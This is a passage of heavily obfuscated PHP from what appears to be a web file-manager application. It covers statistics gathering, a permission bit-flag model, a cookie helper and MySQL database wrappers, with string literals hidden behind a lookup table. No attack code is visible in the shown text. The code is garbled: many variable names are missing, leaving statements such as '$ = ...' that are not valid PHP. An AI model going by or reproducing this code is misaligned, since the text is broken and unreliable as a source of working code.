$ބ[$[1703]]) / $ބ[$[1703]]; } } public function copyFileStart($, $, $ˣ, $̌, $ព, $) { $Ŋ =& $_SERVER[ʇ]; parent::copyFileStart($, $, $ˣ, $̌, $ព, $); $ =& $this->task; if ($[$Ŋ[1819]] == $Ŋ[359]) { $[$Ŋ[1819]] = $Ŋ[109]; } $this->update(); } public function copyFileEnd($, $, $怑, $̴, $, $¿) { $ =& $_SERVER[ʇ]; $ =& $this->task; $[$[1755]] = $[$[1754]]; $[$[1759]] += $[$[1754]]; $[$[1756]] = $[12]; $this->update(); } public function zipEvent($蝄, $, $, $) { $ħ =& $_SERVER[ʇ]; $ =& $this->task; $[$ħ[1752]] = get_path_this($); $[$ħ[1754]] = $; $[$ħ[1755]] = $; $[$ħ[1111]] = $蝄 == $ħ[1827] ? $ħ[1822] : $ħ[1823]; $[$ħ[1756]] = $ħ[12]; $[$ħ[802]] = $; $[$ħ[1819]] = $ħ[359]; $this->update(); } public function nameParse($׃) { $¶ =& $_SERVER[ʇ]; $ =& $this->task; if ($[$¶[1702]] < $[$¶[825]]) { $ɰ = get_path_this($׃); if (strstr($ɰ, $¶[10])) { $[$¶[1702]] += 1; } } if ($[$¶[1819]] == $¶[1241]) { $[$¶[1819]] = $¶[359]; } $[$¶[1752]] = $׃; $this->update(); } } class AnalysisModel extends ModelBaseLight { public function init($܄) { $ܱ =& $_SERVER[ʇ]; $椯ԩ = array($ܱ[632] => array($ܱ[33] => $ܱ[1828], $ܱ[319] => array($ܱ[241], $ܱ[804], $ܱ[1829], $ܱ[1830])), $ܱ[1831] => array($ܱ[33] => $ܱ[1832], $ܱ[319] => array($ܱ[241], $ܱ[802], $ܱ[1833], $ܱ[1834], $ܱ[1835]))); if (!isset($椯ԩ[$܄])) { return !1; } $this->optionType = $椯ԩ[$܄][$ܱ[33]]; $this->field = $椯ԩ[$܄][$ܱ[319]]; return !0; } public function listData($׋ = false, $ט = "\x6d\x6f\144\x69\x66\171\124\151\x6d\x65", $尐 = false) { return parent::listData($׋, $ט, $尐); } public function trendList($Ǧ) { $ќ =& $_SERVER[ʇ]; $ = $this->listData(); if ($) { $󰌕 = end($); $؇ = date($ќ[1836], strtotime($ќ[1837])); if ($󰌕[$ќ[241]] == $؇) { return $; } $ = strtotime($󰌕[$ќ[241]]); } if (!isset($)) { $躱 = $Ǧ == $ќ[632] ? $ќ[569] : $ќ[871]; $ = Model($躱)->min($ќ[217]); } $ۜǷ = $ќ[1838] . ucfirst($Ǧ); $٣ = $this->dateList($); foreach ($٣ as $؇) { $this->{$ۜǷ}($؇); } return $this->listData(); } private function dateList($) { $ =& $_SERVER[ʇ]; $ = $; $ð = strtotime($[1837]); $ȋ = array(); while ($ <= $ð) { $ȋ[] = date($[1836], $); $ = strtotime($[1839], $); } return $ȋ; } public function _recordUser($ = '') { $Ϥ쳤 =& $_SERVER[ʇ]; $́̆ = strtotime(date($Ϥ쳤[1840], strtotime($))); $勢 = strtotime(date($Ϥ쳤[1841], strtotime($))); $ = array($Ϥ쳤[217] => array($Ϥ쳤[1060], $勢)); $ݜ = Model($Ϥ쳤[569])->where($)->count($Ϥ쳤[1701]); $[$Ϥ쳤[217]] = array($Ϥ쳤[379], array($́̆, $勢)); $쬳 = Model($Ϥ쳤[569])->where($)->count($Ϥ쳤[1701]); $[$Ϥ쳤[33]] = $Ϥ쳤[1842]; $ = Model($Ϥ쳤[1843])->where($)->count($Ϥ쳤[1844]); $Н = array($Ϥ쳤[241] => $, $Ϥ쳤[804] => (int) $ݜ, $Ϥ쳤[1829] => (int) $쬳, $Ϥ쳤[1830] => (int) $); return $this->insert($Н); } public function _recordStore($м = '') { $ =& $_SERVER[ʇ]; $봱 = strtotime(date($[1841], strtotime($м))); $ = array($[217] => array($[1060], $봱)); $Ȇ𛐎 = Model($[514])->where($)->sum($[78]); $[$[455]] = 0; $Ч = Model($[871])->where($)->sum($[78]); $[$[180]] = 1; $ = Model($[871])->where($)->sum($[78]); $[$[180]] = 2; $ο = Model($[871])->where($)->sum($[78]); $͓ = array($[241] => $м, $[802] => (int) $Ч, $[1833] => (int) $Ȇ𛐎, $[1834] => (int) $, $[1835] => (int) $ο); return $this->insert($͓); } public function trend($, $같) { $ܪ =& $_SERVER[ʇ]; if (!$this->init($)) { return !1; } $ = $this->trendList($); if ($ && $같 != $ܪ[1674]) { $ׄ = $[0][$ܪ[241]]; $ = $this->validDate($같, $ׄ); $ژ = array(); $ = array_to_keyvalue($, $ܪ[241]); foreach ($ as $̎) { if (isset($[$̎])) { $貒 = $[$̎]; } else { $貒 = end($); $貒[$ܪ[241]] = $̎; if ($ == $ܪ[632]) { $貒[$ܪ[1829]] = $貒[$ܪ[1830]] = 0; } } $ژ[] = $貒; } $ = $ژ; } $͆ = array($ܪ[632] => array($ܪ[804] => LNG($ܪ[1845]), $ܪ[1829] => LNG($ܪ[1846]), $ܪ[1830] => LNG($ܪ[1847])), $ܪ[1831] => array($ܪ[802] => LNG($ܪ[1848]), $ܪ[1833] => LNG($ܪ[1849]), $ܪ[1834] => LNG($ܪ[1850]), $ܪ[1835] => LNG($ܪ[1851]))); $ = array($ܪ[632] => $ܪ[1852], $ܪ[1831] => $ܪ[78]); if (empty($)) { $̎ = date($ܪ[1836], strtotime($ܪ[1837])); $޼ = array($ܪ[241] => $̎); foreach ($͆[$] as $ => $) { $޼[$] = 0; } $[] = $޼; } $ = array(); foreach ($ as $) { if ($ == $ܪ[1831] && $[$ܪ[1833]] > $[$ܪ[802]]) { $[$ܪ[1833]] = $[$ܪ[802]]; } foreach ($͆[$] as $ => $) { $貒 = array($ܪ[241] => $[$ܪ[241]], $ܪ[1591] => $); $貒[$[$]] = isset($[$]) ? $[$] : 0; $[] = $貒; } } return $; } public function validDate($, $Ν) { $䔣 =& $_SERVER[ʇ]; $ޟ = date($䔣[1836], strtotime($䔣[1837])); $ = array($ޟ); switch ($) { case $䔣[1681]: $򠤗 = mktime(0, 0, 0, date($䔣[1853]), date($䔣[1408]) - date($䔣[1473]) + 7 - 7, date($䔣[1854])); $ۭ = 0; do { $ಌ = date($䔣[1836], $򠤗 - 3600 * 24 * 7 * $ۭ); $[] = $ಌ; $ۭ++; } while ($Ν < $ಌ); break; case $䔣[1679]: $ۭ = 1; do { $ = date($䔣[1855], strtotime("\x2d\40{$ۭ}\40\x6d\157\x6e\164\x68\x73")); $[] = $; $ۭ++; } while ($Ν < $); break; case $䔣[1856]: $ = (int) date($䔣[1854], strtotime($Ν)); $ = (int) date($䔣[1854]); if ($ >= $) { break; } for ($; $ < $; $++) { $[] = $ . $䔣[1857]; } break; default: break; } if ($Ν > end($)) { array_pop($); } sort($); return $; } public function listTable($Ġ) { $ = ucfirst($Ġ); return Model($)->listData(); } public function option($ᴊ) { $ĥ = $_SERVER[ʇ][1858] . ucfirst($ᴊ); return $this->{$ĥ}(); } private function optionUser() { $Չϫ =& $_SERVER[ʇ]; $镪 = Model($Չϫ[569])->count($Չϫ[1701]); $ږޣ = Model($Չϫ[569])->where($Չϫ[1859])->count($Չϫ[1701]); $Ֆϼ = intval($GLOBALS[$Չϫ[6]][$Չϫ[395]][$Չϫ[1647]]) / 3600; $Ƭ = strtotime("\x2d{$Ֆϼ}\x20\150\157\165\x72\163"); $ = strtotime(date($Չϫ[1840])); if ($Ƭ < $) { $Ƭ = $; } $Ů = array($Չϫ[1860] => array($Չϫ[1061], $Ƭ)); $ϧ = (int) Model($Չϫ[569])->where($Ů)->count($Չϫ[1701]); if (!$ϧ) { $ϧ = 1; } $Ů = array($Չϫ[1860] => array($Չϫ[1061], $)); $ = Model($Չϫ[569])->where($Ů)->count($Չϫ[1701]); return array($Չϫ[797] => (int) $镪, $Չϫ[1861] => (int) ($镪 - $ږޣ), $Չϫ[1862] => (int) $ږޣ, $Չϫ[1863] => (int) $, $Չϫ[1864] => $ϧ); } private function optionFile() { $Ԓ =& $_SERVER[ʇ]; $ڐ = $this->sourceSize(); $ֱ = $ڐ[$Ԓ[78]]; $󌓧 = $ڐ[$Ԓ[1833]]; $ = Model($Ԓ[871])->where(array($Ԓ[455] => 0))->count($Ԓ[183]); $֩ = array($Ԓ[455] => 0, $Ԓ[217] => array($Ԓ[1061], strtotime(date($Ԓ[1840])))); $߶ô = Model($Ԓ[871])->where($֩)->sum($Ԓ[78]); $ = Model($Ԓ[871])->where($֩)->count($Ԓ[183]); return array($Ԓ[802] => $ֱ, $Ԓ[1833] => $󌓧, $Ԓ[1865] => $ֱ - $󌓧, $Ԓ[1866] => (int) $߶ô, $Ԓ[804] => (int) $, $Ԓ[1867] => (int) $); } private function optionAccess() { $қ =& $_SERVER[ʇ]; return array($қ[797] => $this->typeLogCnt(), $қ[109] => $this->typeLogCnt($қ[109]), $қ[495] => $this->typeLogCnt($қ[495]), $қ[1868] => $this->typeLogCnt($қ[1868]), $қ[1869] => $this->typeLogCnt($қ[1869]), $қ[632] => $this->typeLogCnt($қ[12], $қ[1844])); } private function typeLogCnt($ݯ = '', $æ = "\151\144") { $ =& $_SERVER[ʇ]; $ީΈ = array($[109] => array($[1870], $[1871]), $[495] => array($[1872], $[1873]), $[1868] => array($[1874], $[1875], $[1876]), $[1869] => array($[1877], $[1878]), $[1879] => array($[1880], $[1881], $[1882])); $ƨ = strtotime(date($[1840])); $۝ = array($[217] => array($[1061], $ƨ)); if ($ݯ) { $۝[$[33]] = array($[7], $ީΈ[$ݯ]); } $ = Model($[1843])->where($۝)->count($æ); return (int) $; } private function optionServer() { $ȅ =& $_SERVER[ʇ]; $ = $this->diskDriver(); $ݗ = KodIO::defaultDriver(); $Ё = array($ȅ[863] => $ݗ[$ȅ[445]]); $ǁ = Model($ȅ[514])->where($Ё)->sum($ȅ[78]); $ = explode($ȅ[53], $_SERVER[$ȅ[146]]); $ = $[0]; $͞ = $GLOBALS[$ȅ[6]][$ȅ[21]]; $ = $͞[$ȅ[1023]]; if ($ == $ȅ[1011]) { $䘴 = explode($ȅ[1329], $͞[$ȅ[1022]]); $ = $䘴[0]; } if ($ == $ȅ[959] || $ == $ȅ[850]) { $ۨو = Model()->db()->query($ȅ[1883]); $󣅥 = $ۨو[0] && isset($ۨو[0][$ȅ[1590]]) ? $ۨو[0][$ȅ[1590]] : 0; $ = $ȅ[1884] . ($󣅥 ? $ȅ[8] . $󣅥 : $ȅ[12]); } $ = $GLOBALS[$ȅ[6]][$ȅ[395]][$ȅ[873]]; return array($ȅ[1885] => $ ? $[$ȅ[1886]] : 0, $ȅ[1887] => $ ? $[$ȅ[1888]] : 0, $ȅ[1889] => (int) $ݗ[$ȅ[1886]] * 1024 * 1024 * 1024, $ȅ[1890] => (int) $ǁ, $ȅ[1891] => ucfirst($), $ȅ[1892] => $ȅ[1893] . PHP_VERSION, $ȅ[1894] => phpBuild64() ? 64 : 32, $ȅ[796] => str_replace($ȅ[1177], $ȅ[1039], $), $ȅ[395] => ucfirst($), $ȅ[32] => $_SERVER[$ȅ[1895]]); } private function diskDriver() { $ =& $_SERVER[ʇ]; $ݿ = $[8]; $ = $GLOBALS[$[6]][$[1346]] == $[1347]; if ($) { $ݿ = $[1896]; if (function_exists($[1897])) { exec($[1898], $֏); $ݿ = $֏[1] . $[8]; } } if (!file_exists($ݿ)) { return; } $ = @disk_total_space($ݿ); $֫͘ = $ - @disk_free_space($ݿ); return array($[1886] => $, $[1888] => $֫͘); } public function fileChart($) { $ϭ =& $_SERVER[ʇ]; if (isset($[$ϭ[1701]])) { return Model($ϭ[871])->userFileTypeProfile($[$ϭ[1701]]); } if (isset($[$ϭ[1899]])) { return Model($ϭ[871])->groupFileTypeProfile($[$ϭ[1899]]); } $ȝ = $this->sourceSize(); $Ä = array($ϭ[182] => 0, $ϭ[180] => 1); $Լ = Model($ϭ[871])->where($Ä)->sum($ϭ[78]); $Ä[$ϭ[180]] = 2; $ֽ = Model($ϭ[871])->where($Ä)->sum($ϭ[78]); return array($ϭ[802] => $ȝ[$ϭ[78]], $ϭ[1833] => $ȝ[$ϭ[1833]], $ϭ[1834] => (int) $Լ, $ϭ[1835] => (int) $ֽ); } private function sourceSize() { $͊ =& $_SERVER[ʇ]; $ = Model($͊[871])->where(array($͊[455] => 0))->sum($͊[78]); $ȩ = Model($͊[514])->sum($͊[78]); if ($ȩ > $) { $ȩ = $; } return array($͊[78] => (int) $, $͊[1833] => (int) $ȩ); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $Ļ =& $_SERVER[ʇ]; $ę = array(array($Ļ[464] => LNG($Ļ[1900]), $Ļ[1901] => $Ļ[1902], $Ļ[1903] => 1, $Ļ[1904] => 1, $Ļ[1905] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($Ļ[464] => LNG($Ļ[1906]), $Ļ[1901] => $Ļ[1907], $Ļ[1903] => 2, $Ļ[1904] => 1, $Ļ[1905] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($Ļ[464] => LNG($Ļ[1908]), $Ļ[1901] => $Ļ[1909], $Ļ[1903] => 3, $Ļ[1904] => 1, $Ļ[1905] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($Ļ[464] => LNG($Ļ[1910]), $Ļ[1901] => $Ļ[1911], $Ļ[1903] => 4, $Ļ[1904] => 1, $Ļ[1905] => self::AUTH_SHOW | self::AUTH_VIEW), array($Ļ[464] => LNG($Ļ[1912]), $Ļ[1901] => $Ļ[1913], $Ļ[1903] => 5, $Ļ[1904] => 1, $Ļ[1905] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($Ļ[464] => LNG($Ļ[1914]), $Ļ[1901] => $Ļ[1915], $Ļ[1903] => 6, $Ļ[1904] => 1, $Ļ[1905] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($Ļ[464] => LNG($Ļ[1916]), $Ļ[1901] => $Ļ[1917], $Ļ[1903] => 7, $Ļ[1904] => 1, $Ļ[1905] => 0)); return $ę; } public static function authCheck($墡, $Җ) { $蝇 =& $_SERVER[ʇ]; $墡 = intval($墡); if (KodUser::isRoot() && $GLOBALS[$蝇[6]][$蝇[1918]]) { return !0; } if ($墡 <= 0) { return !1; } if (($墡 & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($墡 & $Җ); } public static function authCheckShow($Ԛ) { return self::authCheck($Ԛ, self::AUTH_SHOW); } public static function authCheckView($߄) { return self::authCheck($߄, self::AUTH_VIEW); } public static function authCheckDownload($) { return self::authCheck($, self::AUTH_DOWNLOAD); } public static function authCheckUpload($) { return self::authCheck($, self::AUTH_UPLOAD); } public static function authCheckEdit($ڣ) { return self::authCheck($ڣ, self::AUTH_EDIT); } public static function authCheckRemove($֝ɂә) { return self::authCheck($֝ɂә, self::AUTH_REMOVE); } public static function authCheckShare($ڰЧ) { return self::authCheck($ڰЧ, self::AUTH_SHARE); } public static function authCheckComment($ܮ) { return self::authCheck($ܮ, self::AUTH_COMMENT); } public static function authCheckEvent($©) { return self::authCheck($©, self::AUTH_EVENT); } public static function authCheckRoot($) { return self::authCheck($, self::AUTH_ROOT); } public static function authCheckAction($ݹ, $䯉Π) { $˭¾ =& $_SERVER[ʇ]; $ = array($˭¾[1919] => self::AUTH_VIEW, $˭¾[1241] => self::AUTH_DOWNLOAD, $˭¾[109] => self::AUTH_UPLOAD, $˭¾[1869] => self::AUTH_EDIT, $˭¾[1868] => self::AUTH_REMOVE, $˭¾[1879] => self::AUTH_SHARE, $˭¾[400] => self::AUTH_COMMENT, $˭¾[1689] => self::AUTH_EVENT, $˭¾[1920] => self::AUTH_ROOT); if (!isset($[$䯉Π])) { return; } $ڊ = $[$䯉Π]; $ݹ = intval($ݹ); if ($ݹ <= 0) { return !1; } if (($ݹ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ݹ & $ڊ); } public static function authDisable($, $) { if (intval($) <= 0) { return 0; } return intval($) & ~$; } public $optionType = "\x53\x79\x73\164\145\x6d\x2e\163\x6f\x75\162\143\145\101\165\x74\150\114\151\163\x74"; public $field = array("\x6e\141\x6d\145", "\141\165\x74\x68", "\x6c\141\x62\x65\x6c", "\144\x69\x73\x70\154\x61\171", "\x73\171\163\164\x65\x6d", "\x73\157\162\164"); public function initData() { $ = $this->authDefault(); foreach ($ as $) { $this->add($); } } public function findAuth($, $) { $Ώ =& $_SERVER[ʇ]; $Ϊ = parent::listData(); foreach ($Ϊ as $Ũ) { $ = intval($Ũ[$Ώ[457]]); if ($ <= 0 || $Ũ[$Ώ[1921]] == 0) { continue; } if (($ & $) != $) { continue; } if (($ & $) != 0) { continue; } return $Ũ[$Ώ[445]]; } return !1; } public function findAuthReadOnly() { $䧄Ϩ = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($䧄Ϩ, $); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function findAuthMinDefault() { $ =& $_SERVER[ʇ]; $ = parent::listData(); $ӫ܉ = !1; foreach ($ as $̽đ) { if ($̽đ[$[457]] <= 0 || $̽đ[$[1921]] == $[214]) { continue; } if (!$ӫ܉) { $ӫ܉ = $̽đ; continue; } if ($ӫ܉[$[457]] > $̽đ[$[457]]) { $ӫ܉ = $̽đ; } } return $ӫ܉ ? $ӫ܉[$[445]] : $[12]; } public function listData($♴ = false, $ӓ = "\x73\x6f\162\x74", $Ӑ෕ = false) { return parent::listData($♴, $ӓ, $Ӑ෕); } public function update($ٍ, $) { $פش =& $_SERVER[ʇ]; $ԣ = parent::listData($ٍ); $ = $this->findByName($[$פش[32]]); if (!$ԣ || $ && $[$פش[445]] != $ԣ[$פش[445]]) { return !1; } $this->filterAuth($[$פش[457]]); return parent::update($ٍ, $); } public function remove($剦) { $ = parent::listData($剦); if (!$ || $[$_SERVER[ʇ][181]]) { return !1; } return parent::remove($剦); } public function add($ؖ = array()) { $ =& $_SERVER[ʇ]; if ($this->findByName($ؖ[$[32]])) { return !1; } $櫷 = array($[32] => $[12], $[457] => 1, $[1922] => $[1909], $[1921] => 1, $[181] => 0, $[1923] => 0); $ؖ = array_merge($櫷, $ؖ); $ؖ[$[1923]] = $this->getSort(); $this->filterAuth($ؖ[$[457]]); return parent::insert($ؖ); } private function getSort() { $˖ =& $_SERVER[ʇ]; $ = parent::listData(); $ = array_to_keyvalue($, $˖[12], $˖[1923]); return empty($) ? 0 : max($) + 1; } private function filterAuth(&$) { if (!$) { return; } $ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $ = array(); foreach ($ as $) { if ($ & $) { $[] = $; } } if (in_array(self::AUTH_ROOT, $)) { $ = array_sum($); return; } $櫑 = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($ as $) { if (isset($櫑[$])) { $ = array_merge($, $櫑[$]); } } $[] = self::AUTH_SHOW; $ = array_sum(array_unique($)); } public function sort($ԙ, $鯽) { return parent::update($ԙ, $鯽); } } goto B׸; aй: class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($ө = '', $ = 0) { if (is_string($ө) && $ө != $_SERVER[ʇ][12]) { $this->prefix = $ө; } if (is_numeric($) && $ > 0) { $this->expire = $; } } public static function getInstance() { static $ͺ; if ($ͺ === null) { $ͺ = new self(); } return $ͺ; } private static $cookieDisable = false; public static function disable($) { self::$cookieDisable = $; } private static $sameCookieSet = array(); public static function set($, $ւ, $ = 0, $Ӱ = false, $ = false) { $ø =& $_SERVER[ʇ]; if (self::$cookieDisable) { return; } if (!$) { $ = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$]) && self::$sameCookieSet[$] == $ւ . $) { return; } self::$sameCookieSet[$] = $ւ . $; if (!$) { $ = str_replace(HOST, $ø[12], APP_HOST); $ = _get($GLOBALS, $ø[929], $); } $ = $ø[12]; setcookie($, $ւ, time() + $, $ø[8] . trim($, $ø[8]) . $, !1, !1, $Ӱ); } public static function setSafe($, $؂, $޳ = 0) { self::set($, $؂, $޳, !0); } public static function get($) { static $긝 = false; if (!$긝) { self::initHeaderCookie(); $긝 = !0; } return isset($_COOKIE[$]) ? $_COOKIE[$] : !1; } private static function initHeaderCookie() { $ =& $_SERVER[ʇ]; if (!isset($_SERVER[$[930]]) || !$_SERVER[$[930]]) { return; } $ = explode($[73], $_SERVER[$[930]]); foreach ($ as $܂) { $܂ = explode($[931], $܂); if (count($܂) != 2 || !isset($܂[1])) { continue; } $_COOKIE[trim($܂[0])] = trim($܂[1]); } } public static function remove($, $ڛГ = false) { unset($_COOKIE[$]); self::set($, $_SERVER[ʇ][12], 1, $ڛГ); } } class DbMysql extends Db { public function __construct($ͯ = '') { $‡ =& $_SERVER[ʇ]; if (!extension_loaded($‡[850])) { think_exception(think_lang($‡[14]) . $‡[932]); } if (!empty($ͯ)) { $this->config = $ͯ; if (empty($this->config[$‡[17]])) { $this->config[$‡[17]] = $‡[12]; } } } public function connect($ۂ = '', $ʊ = 0, $ = false) { $椭 =& $_SERVER[ʇ]; if (!isset($this->linkID[$ʊ])) { if (empty($ۂ)) { $ۂ = $this->config; } $Ӛ = $ۂ[$椭[933]] . ($ۂ[$椭[934]] ? "\72{$ۂ[$椭[934]]}" : $椭[12]); $ = !empty($ۂ[$椭[17]][$椭[18]]) ? $ۂ[$椭[17]][$椭[18]] : $this->pconnect; if ($) { $this->linkID[$ʊ] = mysql_pconnect($Ӛ, $ۂ[$椭[935]], $ۂ[$椭[936]], 131072); } else { $this->linkID[$ʊ] = mysql_connect($Ӛ, $ۂ[$椭[935]], $ۂ[$椭[936]], !0, 131072); } if (!$this->linkID[$ʊ] || !empty($ۂ[$椭[21]]) && !mysql_select_db($ۂ[$椭[21]], $this->linkID[$ʊ])) { think_exception(mysql_error()); } $ꋍ = mysql_get_server_info($this->linkID[$ʊ]); mysql_query($椭[937] . think_config($椭[938]) . $椭[58], $this->linkID[$ʊ]); if ($ꋍ > $椭[939]) { mysql_query($椭[940], $this->linkID[$ʊ]); } $this->connected = !0; if (1 != think_config($椭[22])) { unset($this->config); } } return $this->linkID[$ʊ]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($舍) { $Ղ =& $_SERVER[ʇ]; if (0 === stripos($舍, $Ղ[310])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $舍; if ($this->queryID) { $this->free(); } think_action_status($Ղ[23], 1); think_status($Ղ[24]); $this->queryID = mysql_query($舍, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($۾) { $꾝 =& $_SERVER[ʇ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $۾; if ($this->queryID) { $this->free(); } think_action_status($꾝[25], 1); think_status($꾝[24]); $ẞ = mysql_query($۾, $this->_linkID); $this->debug(); if (!1 === $ẞ) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[ʇ][941], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $хꯕ = mysql_query($_SERVER[ʇ][942], $this->_linkID); $this->transTimes = 0; if (!$хꯕ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $챆 = mysql_query($_SERVER[ʇ][943], $this->_linkID); $this->transTimes = 0; if (!$챆) { $this->error(); return !1; } } return !0; } private function getAll() { $º = array(); if ($this->numRows > 0) { while ($ݶ = mysql_fetch_assoc($this->queryID)) { $º[] = $ݶ; } mysql_data_seek($this->queryID, 0); } return $º; } public function getFields($) { $ =& $_SERVER[ʇ]; $ = $this->query($[944] . $this->parseKey($)); $ڵ = array(); if ($) { foreach ($ as $ => $ኝ) { $ڵ[$ኝ[$[31]]] = array($[32] => $ኝ[$[31]], $[33] => $ኝ[$[34]], $[35] => (bool) (strtoupper($ኝ[$[36]]) === $[945]), $[37] => $ኝ[$[38]], $[39] => strtolower($ኝ[$[40]]) == $[41], $[42] => strtolower($ኝ[$[43]]) == $[44]); } } return $ڵ; } public function getTables($ί = '') { $ъ =& $_SERVER[ʇ]; if (!empty($ί)) { $ל = $ъ[946] . $ί . $ъ[947]; } else { $ל = $ъ[948]; } $ޕ = $this->query($ל); $ȍӇ = array(); foreach ($ޕ as $ => $) { $ȍӇ[$] = current($); } return $ȍӇ; } public function replace($ܓ㨭, $՜ = array()) { $׽ =& $_SERVER[ʇ]; foreach ($ܓ㨭 as $ => $) { $׭ = $this->parseValue($); if (is_scalar($׭)) { $賜[] = $׭; $[] = $this->parseKey($); } } $ڋ = $׽[949] . $this->parseTable($՜[$׽[325]]) . $׽[950] . implode($׽[50], $) . $׽[951] . implode($׽[50], $賜) . $׽[952]; return $this->execute($ڋ); } public function insertAll($, $垒 = array(), $ = false) { $· =& $_SERVER[ʇ]; if (!is_array($[0])) { return !1; } $׆ = array_keys($[0]); $ڸ = array(); foreach ($ as $݌) { $ȏ = array(); foreach ($݌ as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $ȏ[] = $; } } $ڸ[] = $·[306] . implode($·[50], $ȏ) . $·[952]; } array_walk($׆, array($this, $·[953])); $˕ = ($ ? $·[954] : $·[955]) . $·[956] . $this->parseTable($垒[$·[325]]) . $·[950] . implode($·[50], $׆) . $·[957] . implode($·[50], $ڸ); return $this->execute($˕); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $ =& $_SERVER[ʇ]; $this->error = mysql_errno() . $[4] . mysql_error($this->_linkID); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($ɱ) { if ($this->_linkID) { return mysql_real_escape_string($ɱ, $this->_linkID); } else { return mysql_escape_string($ɱ); } } public function parseKey(&$ގ, $DZ = true) { $ =& $_SERVER[ʇ]; if ($DZ) { $ގ = $this->parseKeyCheck($ގ); } if ($ގ != $[205] && !preg_match($[958], $ގ)) { $ގ = $[431] . trim($ގ, $[431]) . $[431]; } return $ގ; } } class DbMysqli extends Db { public function __construct($ = '') { $ =& $_SERVER[ʇ]; if (!extension_loaded($[959])) { think_exception(think_lang($[14]) . $[960]); } if (!empty($)) { $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($Ţ = '', $Ƙ = 0) { $ť =& $_SERVER[ʇ]; if (!isset($this->linkID[$Ƙ])) { if (empty($Ţ)) { $Ţ = $this->config; } $this->linkID[$Ƙ] = new mysqli($Ţ[$ť[933]], $Ţ[$ť[935]], $Ţ[$ť[936]], $Ţ[$ť[21]], $Ţ[$ť[934]] ? intval($Ţ[$ť[934]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $޼ = $this->linkID[$Ƙ]->server_version; $this->linkID[$Ƙ]->query($ť[937] . think_config($ť[938]) . $ť[58]); if ($޼ > $ť[939]) { $this->linkID[$Ƙ]->query($ť[940]); } $this->connected = !0; if (1 != think_config($ť[22])) { unset($this->config); } } return $this->linkID[$Ƙ]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($) { $󢒊 =& $_SERVER[ʇ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($󢒊[23], 1); think_status($󢒊[24]); $this->queryID = $this->_linkID->query($); if ($this->_linkID->more_results()) { while (($ = $this->_linkID->next_result()) != NULL) { $->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($) { $ß =& $_SERVER[ʇ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($ß[25], 1); think_status($ß[24]); $ᱮͻ = $this->_linkID->query($); $this->debug(); if (!1 === $ᱮͻ) { $this->error(); return !1; } else { $this->numRows = 